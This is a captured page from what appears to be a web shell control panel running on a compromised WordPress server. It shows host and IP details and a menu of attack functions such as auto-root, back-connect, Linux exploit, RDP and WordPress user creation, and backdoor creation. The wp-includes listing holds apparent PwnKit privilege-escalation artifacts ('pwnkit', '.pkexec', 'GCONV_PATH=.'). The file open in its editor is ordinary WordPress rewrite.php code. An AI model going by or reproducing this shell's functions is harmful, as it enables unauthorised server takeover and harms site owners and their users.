Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.190.156.185
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
public_html /
VISIONSOFT /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.htaccess
420
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
admin-bar.php
30.96
KB
-rw-r--r--
atomlib.php
11.59
KB
-rw-r--r--
author-template.php
16.62
KB
-rw-r--r--
block-patterns.php
1.42
KB
-rw-r--r--
blocks.php
25.76
KB
-rw-r--r--
bookmark-template.php
12.22
KB
-rw-r--r--
bookmark.php
14.79
KB
-rw-r--r--
cache-compat.php
1.02
KB
-rw-r--r--
cache.php
9.28
KB
-rw-r--r--
canonical.php
30.65
KB
-rw-r--r--
capabilities.php
33.98
KB
-rw-r--r--
category-template.php
53.63
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
38.79
KB
-rw-r--r--
class-json.php
42.43
KB
-rw-r--r--
class-oembed.php
407
B
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.35
KB
-rw-r--r--
class-requests.php
29.14
KB
-rw-r--r--
class-simplepie.php
94.01
KB
-rw-r--r--
class-smtp.php
452
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.08
KB
-rw-r--r--
class-walker-category.php
7.69
KB
-rw-r--r--
class-walker-comment.php
13.37
KB
-rw-r--r--
class-walker-nav-menu.php
8.45
KB
-rw-r--r--
class-walker-page-dropdown.php
2.25
KB
-rw-r--r--
class-walker-page.php
6.88
KB
-rw-r--r--
class-wp-admin-bar.php
16.46
KB
-rw-r--r--
class-wp-ajax-response.php
5.12
KB
-rw-r--r--
class-wp-block-list.php
4.37
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-pattern-categor...
4.08
KB
-rw-r--r--
class-wp-block-patterns-regist...
4.74
KB
-rw-r--r--
class-wp-block-styles-registry...
4.62
KB
-rw-r--r--
class-wp-block-type-registry.p...
5.03
KB
-rw-r--r--
class-wp-block-type.php
5.88
KB
-rw-r--r--
class-wp-block.php
5.97
KB
-rw-r--r--
class-wp-comment-query.php
43.58
KB
-rw-r--r--
class-wp-comment.php
8.83
KB
-rw-r--r--
class-wp-customize-control.php
24.91
KB
-rw-r--r--
class-wp-customize-manager.php
196.37
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
55.47
KB
-rw-r--r--
class-wp-customize-panel.php
10.16
KB
-rw-r--r--
class-wp-customize-section.php
10.72
KB
-rw-r--r--
class-wp-customize-setting.php
29.03
KB
-rw-r--r--
class-wp-customize-widgets.php
65.46
KB
-rw-r--r--
class-wp-date-query.php
34.51
KB
-rw-r--r--
class-wp-dependency.php
2.45
KB
-rw-r--r--
class-wp-editor.php
68.93
KB
-rw-r--r--
class-wp-embed.php
15.42
KB
-rw-r--r--
class-wp-error.php
4.84
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.37
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.72
KB
-rw-r--r--
class-wp-http-cookie.php
7.02
KB
-rw-r--r--
class-wp-http-curl.php
12.06
KB
-rw-r--r--
class-wp-http-encoding.php
6.4
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.39
KB
-rw-r--r--
class-wp-http-proxy.php
5.73
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.92
KB
-rw-r--r--
class-wp-http-requests-respons...
4.24
KB
-rw-r--r--
class-wp-http-response.php
2.88
KB
-rw-r--r--
class-wp-http-streams.php
15.73
KB
-rw-r--r--
class-wp-image-editor-gd.php
13.81
KB
-rw-r--r--
class-wp-image-editor-imagick....
23.32
KB
-rw-r--r--
class-wp-image-editor.php
13.77
KB
-rw-r--r--
class-wp-list-util.php
6.46
KB
-rw-r--r--
class-wp-locale-switcher.php
4.9
KB
-rw-r--r--
class-wp-locale.php
13.59
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
27.22
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
17.94
KB
-rw-r--r--
class-wp-network.php
12.09
KB
-rw-r--r--
class-wp-object-cache.php
13.22
KB
-rw-r--r--
class-wp-oembed-controller.php
6.63
KB
-rw-r--r--
class-wp-oembed.php
28.31
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.81
KB
-rw-r--r--
class-wp-post-type.php
19.08
KB
-rw-r--r--
class-wp-post.php
6.29
KB
-rw-r--r--
class-wp-query.php
131.8
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.31
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
9.89
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.17
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.29
KB
-rw-r--r--
class-wp-recovery-mode.php
11.11
KB
-rw-r--r--
class-wp-rewrite.php
59.42
KB
-rw-r--r--
class-wp-role.php
2.44
KB
-rw-r--r--
class-wp-roles.php
8.23
KB
-rw-r--r--
class-wp-session-tokens.php
7.26
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
27.88
KB
-rw-r--r--
class-wp-site.php
7.19
KB
-rw-r--r--
class-wp-tax-query.php
18.98
KB
-rw-r--r--
class-wp-taxonomy.php
12.28
KB
-rw-r--r--
class-wp-term-query.php
35.32
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.48
KB
-rw-r--r--
class-wp-theme.php
50.35
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.62
KB
-rw-r--r--
class-wp-user-request.php
2.14
KB
-rw-r--r--
class-wp-user.php
21.63
KB
-rw-r--r--
class-wp-walker.php
12.42
KB
-rw-r--r--
class-wp-widget-factory.php
2.56
KB
-rw-r--r--
class-wp-widget.php
17.49
KB
-rw-r--r--
class-wp-xmlrpc-server.php
205.52
KB
-rw-r--r--
class-wp.php
24.45
KB
-rw-r--r--
class.wp-dependencies.php
12.57
KB
-rw-r--r--
class.wp-scripts.php
18.04
KB
-rw-r--r--
class.wp-styles.php
10.62
KB
-rw-r--r--
comment-template.php
91.85
KB
-rw-r--r--
comment.php
122.66
KB
-rw-r--r--
compat.php
12.65
KB
-rw-r--r--
cron.php
32.06
KB
-rw-r--r--
date.php
406
B
-rw-r--r--
default-constants.php
10.02
KB
-rw-r--r--
default-filters.php
26.14
KB
-rw-r--r--
default-widgets.php
2.07
KB
-rw-r--r--
deprecated.php
118.65
KB
-rw-r--r--
embed-template.php
341
B
-rw-r--r--
embed.php
46.48
KB
-rw-r--r--
error-protection.php
3.3
KB
-rw-r--r--
error_log
167
B
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rw-r--r--
feed-atom.php
3.03
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
3.97
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.12
KB
-rw-r--r--
formatting.php
304.25
KB
-rw-r--r--
functions.php
228.27
KB
-rw-r--r--
functions.wp-scripts.php
13.07
KB
-rw-r--r--
functions.wp-styles.php
8.11
KB
-rw-r--r--
general-template.php
153.99
KB
-rw-r--r--
http.php
21.86
KB
-rw-r--r--
kses.php
61.88
KB
-rw-r--r--
l10n.php
55.27
KB
-rw-r--r--
link-template.php
141.46
KB
-rw-r--r--
load.php
43.82
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
57.29
KB
-rw-r--r--
media.php
159.3
KB
-rw-r--r--
meta.php
58.17
KB
-rw-r--r--
ms-blogs.php
24.58
KB
-rw-r--r--
ms-default-constants.php
4.6
KB
-rw-r--r--
ms-default-filters.php
6.34
KB
-rw-r--r--
ms-deprecated.php
20.63
KB
-rw-r--r--
ms-files.php
2.58
KB
-rw-r--r--
ms-functions.php
88.26
KB
-rw-r--r--
ms-load.php
19.36
KB
-rw-r--r--
ms-network.php
3.57
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
ms-site.php
42.51
KB
-rw-r--r--
nav-menu-template.php
22.75
KB
-rw-r--r--
nav-menu.php
40.78
KB
-rw-r--r--
option.php
72.65
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
99.86
KB
-rw-r--r--
plugin.php
31.66
KB
-rw-r--r--
post-formats.php
6.91
KB
-rw-r--r--
post-template.php
62.05
KB
-rw-r--r--
post-thumbnail-template.php
9
KB
-rw-r--r--
post.php
245.87
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
34.69
KB
-rw-r--r--
registration-functions.php
202
B
-rw-r--r--
registration.php
202
B
-rw-r--r--
rest-api.php
65.83
KB
-rw-r--r--
revision.php
21.46
KB
-rw-r--r--
rewrite.php
17.65
KB
-rw-r--r--
rss-functions.php
211
B
-rw-r--r--
rss.php
22.44
KB
-rw-r--r--
script-loader.php
89.87
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
21.85
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
443
B
-rw-r--r--
taxonomy.php
158.32
KB
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
21.02
KB
-rw-r--r--
theme.php
120.92
KB
-rw-r--r--
update.php
25.57
KB
-rw-r--r--
user.php
129.65
KB
-rw-r--r--
vars.php
5.68
KB
-rw-r--r--
version.php
767
B
-rw-r--r--
widgets.php
57.75
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.12
KB
-rw-r--r--
wp-diff.php
647
B
-rw-r--r--
wp-feed.php
82
B
-rw-r--r--
wp-tmp.php
9.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rewrite.php
<?php /** * WordPress Rewrite API * * @package WordPress * @subpackage Rewrite */ /** * Endpoint Mask for default, which is nothing. * * @since 2.1.0 */ define( 'EP_NONE', 0 ); /** * Endpoint Mask for Permalink. * * @since 2.1.0 */ define( 'EP_PERMALINK', 1 ); /** * Endpoint Mask for Attachment. * * @since 2.1.0 */ define( 'EP_ATTACHMENT', 2 ); /** * Endpoint Mask for date. * * @since 2.1.0 */ define( 'EP_DATE', 4 ); /** * Endpoint Mask for year * * @since 2.1.0 */ define( 'EP_YEAR', 8 ); /** * Endpoint Mask for month. * * @since 2.1.0 */ define( 'EP_MONTH', 16 ); /** * Endpoint Mask for day. * * @since 2.1.0 */ define( 'EP_DAY', 32 ); /** * Endpoint Mask for root. * * @since 2.1.0 */ define( 'EP_ROOT', 64 ); /** * Endpoint Mask for comments. * * @since 2.1.0 */ define( 'EP_COMMENTS', 128 ); /** * Endpoint Mask for searches. * * @since 2.1.0 */ define( 'EP_SEARCH', 256 ); /** * Endpoint Mask for categories. * * @since 2.1.0 */ define( 'EP_CATEGORIES', 512 ); /** * Endpoint Mask for tags. * * @since 2.3.0 */ define( 'EP_TAGS', 1024 ); /** * Endpoint Mask for authors. * * @since 2.1.0 */ define( 'EP_AUTHORS', 2048 ); /** * Endpoint Mask for pages. * * @since 2.1.0 */ define( 'EP_PAGES', 4096 ); /** * Endpoint Mask for all archive views. * * @since 3.7.0 */ define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS ); /** * Endpoint Mask for everything. * * @since 2.1.0 */ define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES ); /** * Adds a rewrite rule that transforms a URL structure to a set of query vars. * * Any value in the $after parameter that isn't 'bottom' will result in the rule * being placed at the top of the rewrite rules. * * @since 2.1.0 * @since 4.4.0 Array support was added to the `$query` parameter. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $regex Regular expression to match request against. * @param string|array $query The corresponding query vars for this rewrite rule. * @param string $after Optional. Priority of the new rule. Accepts 'top' * or 'bottom'. Default 'bottom'. */ function add_rewrite_rule( $regex, $query, $after = 'bottom' ) { global $wp_rewrite; $wp_rewrite->add_rule( $regex, $query, $after ); } /** * Add a new rewrite tag (like %postname%). * * The $query parameter is optional. If it is omitted you must ensure that * you call this on, or before, the {@see 'init'} hook. This is because $query defaults * to "$tag=", and for this to work a new query var has to be added. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * * @param string $tag Name of the new rewrite tag. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty. */ function add_rewrite_tag( $tag, $regex, $query = '' ) { // Validate the tag's name. if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) { return; } global $wp_rewrite, $wp; if ( empty( $query ) ) { $qv = trim( $tag, '%' ); $wp->add_query_var( $qv ); $query = $qv . '='; } $wp_rewrite->add_rewrite_tag( $tag, $regex, $query ); } /** * Removes an existing rewrite tag (like %postname%). * * @since 4.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $tag Name of the rewrite tag. */ function remove_rewrite_tag( $tag ) { global $wp_rewrite; $wp_rewrite->remove_rewrite_tag( $tag ); } /** * Add permalink structure. * * @since 3.0.0 * * @see WP_Rewrite::add_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. * @param string $struct Permalink structure. * @param array $args Optional. Arguments for building the rules from the permalink structure, * see WP_Rewrite::add_permastruct() for full details. Default empty array. */ function add_permastruct( $name, $struct, $args = array() ) { global $wp_rewrite; // Back-compat for the old parameters: $with_front and $ep_mask. if ( ! is_array( $args ) ) { $args = array( 'with_front' => $args ); } if ( func_num_args() == 4 ) { $args['ep_mask'] = func_get_arg( 3 ); } $wp_rewrite->add_permastruct( $name, $struct, $args ); } /** * Removes a permalink structure. * * Can only be used to remove permastructs that were added using add_permastruct(). * Built-in permastructs cannot be removed. * * @since 4.5.0 * * @see WP_Rewrite::remove_permastruct() * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name for permalink structure. */ function remove_permastruct( $name ) { global $wp_rewrite; $wp_rewrite->remove_permastruct( $name ); } /** * Add a new feed type like /atom1/. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $feedname Feed name. * @param callable $function Callback to run on feed display. * @return string Feed action name. */ function add_feed( $feedname, $function ) { global $wp_rewrite; if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) { $wp_rewrite->feeds[] = $feedname; } $hook = 'do_feed_' . $feedname; // Remove default function hook. remove_action( $hook, $hook ); add_action( $hook, $function, 10, 2 ); return $hook; } /** * Remove rewrite rules and then recreate rewrite rules. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param bool $hard Whether to update .htaccess (hard flush) or just update * rewrite_rules option (soft flush). Default is true (hard). */ function flush_rewrite_rules( $hard = true ) { global $wp_rewrite; if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) { $wp_rewrite->flush_rules( $hard ); } } /** * Add an endpoint, like /trackback/. * * Adding an endpoint creates extra rewrite rules for each of the matching * places specified by the provided bitmask. For example: * * add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES ); * * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct * that describes a permalink (post) or page. This is rewritten to "json=$match" * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in * "[permalink]/json/foo/"). * * A new query var with the same name as the endpoint will also be created. * * When specifying $places ensure that you are using the EP_* constants (or a * combination of them using the bitwise OR operator) as their values are not * guaranteed to remain static (especially `EP_ALL`). * * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets * activated and deactivated. * * @since 2.1.0 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var * for this endpoint. Defaults to the value of `$name`. */ function add_rewrite_endpoint( $name, $places, $query_var = true ) { global $wp_rewrite; $wp_rewrite->add_endpoint( $name, $places, $query_var ); } /** * Filters the URL base for taxonomies. * * To remove any manually prepended /index.php/. * * @access private * @since 2.6.0 * * @param string $base The taxonomy base that we're going to filter * @return string */ function _wp_filter_taxonomy_base( $base ) { if ( ! empty( $base ) ) { $base = preg_replace( '|^/index\.php/|', '', $base ); $base = trim( $base, '/' ); } return $base; } /** * Resolve numeric slugs that collide with date permalinks. * * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query() * like a date archive, as when your permalink structure is `/%year%/%postname%/` and * a post with post_name '05' has the URL `/2015/05/`. * * This function detects conflicts of this type and resolves them in favor of the * post permalink. * * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs * that would result in a date archive conflict. The resolution performed in this * function is primarily for legacy content, as well as cases when the admin has changed * the site's permalink structure in a way that introduces URL conflicts. * * @since 4.3.0 * * @param array $query_vars Optional. Query variables for setting up the loop, as determined in * WP::parse_request(). Default empty array. * @return array Returns the original array of query vars, with date/post conflicts resolved. */ function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) { if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) { return $query_vars; } // Identify the 'postname' position in the permastruct array. $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) ); $postname_index = array_search( '%postname%', $permastructs, true ); if ( false === $postname_index ) { return $query_vars; } /* * A numeric slug could be confused with a year, month, or day, depending on position. To account for * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check * for month-slug clashes when `is_month` *or* `is_day`. */ $compare = ''; if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) { $compare = 'year'; } elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) { $compare = 'monthnum'; } elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) { $compare = 'day'; } if ( ! $compare ) { return $query_vars; } // This is the potentially clashing slug. $value = $query_vars[ $compare ]; $post = get_page_by_path( $value, OBJECT, 'post' ); if ( ! ( $post instanceof WP_Post ) ) { return $query_vars; } // If the date of the post doesn't match the date specified in the URL, resolve to the date archive. if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) { // $matches[1] is the year the post was published. if ( intval( $query_vars['year'] ) !== intval( $matches[1] ) ) { return $query_vars; } // $matches[2] is the month the post was published. if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && intval( $query_vars['monthnum'] ) !== intval( $matches[2] ) ) { return $query_vars; } } /* * If the located post contains nextpage pagination, then the URL chunk following postname may be * intended as the page number. Verify that it's a valid page before resolving to it. */ $maybe_page = ''; if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) { $maybe_page = $query_vars['monthnum']; } elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) { $maybe_page = $query_vars['day']; } // Bug found in #11694 - 'page' was returning '/4'. $maybe_page = (int) trim( $maybe_page, '/' ); $post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1; // If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive. if ( 1 === $post_page_count && $maybe_page ) { return $query_vars; } // If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive. if ( $post_page_count > 1 && $maybe_page > $post_page_count ) { return $query_vars; } // If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage. if ( '' !== $maybe_page ) { $query_vars['page'] = intval( $maybe_page ); } // Next, unset autodetected date-related query vars. unset( $query_vars['year'] ); unset( $query_vars['monthnum'] ); unset( $query_vars['day'] ); // Then, set the identified post. $query_vars['name'] = $post->post_name; // Finally, return the modified query vars. return $query_vars; } /** * Examine a URL and try to determine the post ID it represents. * * Checks are supposedly from the hosted site blog. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * * @param string $url Permalink to check. * @return int Post ID, or 0 on failure. */ function url_to_postid( $url ) { global $wp_rewrite; /** * Filters the URL to derive the post ID from. * * @since 2.2.0 * * @param string $url The URL to derive the post ID from. */ $url = apply_filters( 'url_to_postid', $url ); $url_host = str_replace( 'www.', '', parse_url( $url, PHP_URL_HOST ) ); $home_url_host = str_replace( 'www.', '', parse_url( home_url(), PHP_URL_HOST ) ); // Bail early if the URL does not belong to this site. if ( $url_host && $url_host !== $home_url_host ) { return 0; } // First, check to see if there is a 'p=N' or 'page_id=N' to match against. if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) { $id = absint( $values[2] ); if ( $id ) { return $id; } } // Get rid of the #anchor. $url_split = explode( '#', $url ); $url = $url_split[0]; // Get rid of URL ?query=string. $url_split = explode( '?', $url ); $url = $url_split[0]; // Set the correct URL scheme. $scheme = parse_url( home_url(), PHP_URL_SCHEME ); $url = set_url_scheme( $url, $scheme ); // Add 'www.' if it is absent and should be there. if ( false !== strpos( home_url(), '://www.' ) && false === strpos( $url, '://www.' ) ) { $url = str_replace( '://', '://www.', $url ); } // Strip 'www.' if it is present and shouldn't be. if ( false === strpos( home_url(), '://www.' ) ) { $url = str_replace( '://www.', '://', $url ); } if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) { $page_on_front = get_option( 'page_on_front' ); if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) { return (int) $page_on_front; } } // Check to see if we are using rewrite rules. $rewrite = $wp_rewrite->wp_rewrite_rules(); // Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options. if ( empty( $rewrite ) ) { return 0; } // Strip 'index.php/' if we're not using path info permalinks. if ( ! $wp_rewrite->using_index_permalinks() ) { $url = str_replace( $wp_rewrite->index . '/', '', $url ); } if ( false !== strpos( trailingslashit( $url ), home_url( '/' ) ) ) { // Chop off http://domain.com/[path]. $url = str_replace( home_url(), '', $url ); } else { // Chop off /path/to/blog. $home_path = parse_url( home_url( '/' ) ); $home_path = isset( $home_path['path'] ) ? $home_path['path'] : ''; $url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) ); } // Trim leading and lagging slashes. $url = trim( $url, '/' ); $request = $url; $post_type_query_vars = array(); foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) { if ( ! empty( $t->query_var ) ) { $post_type_query_vars[ $t->query_var ] = $post_type; } } // Look for matches. $request_match = $request; foreach ( (array) $rewrite as $match => $query ) { // If the requesting file is the anchor of the match, // prepend it to the path info. if ( ! empty( $url ) && ( $url != $request ) && ( strpos( $match, $url ) === 0 ) ) { $request_match = $url . '/' . $request; } if ( preg_match( "#^$match#", $request_match, $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // This is a verbose page match, let's check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } // Got a match. // Trim the query of everything up to the '?'. $query = preg_replace( '!^.+\?!', '', $query ); // Substitute the substring matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) ); // Filter out non-public query vars. global $wp; parse_str( $query, $query_vars ); $query = array(); foreach ( (array) $query_vars as $key => $value ) { if ( in_array( (string) $key, $wp->public_query_vars, true ) ) { $query[ $key ] = $value; if ( isset( $post_type_query_vars[ $key ] ) ) { $query['post_type'] = $post_type_query_vars[ $key ]; $query['name'] = $value; } } } // Resolve conflicts between posts with numeric slugs and date archive queries. $query = wp_resolve_numeric_slug_conflicts( $query ); // Do the query. $query = new WP_Query( $query ); if ( ! empty( $query->posts ) && $query->is_singular ) { return $query->post->ID; } else { return 0; } } } return 0; }
Close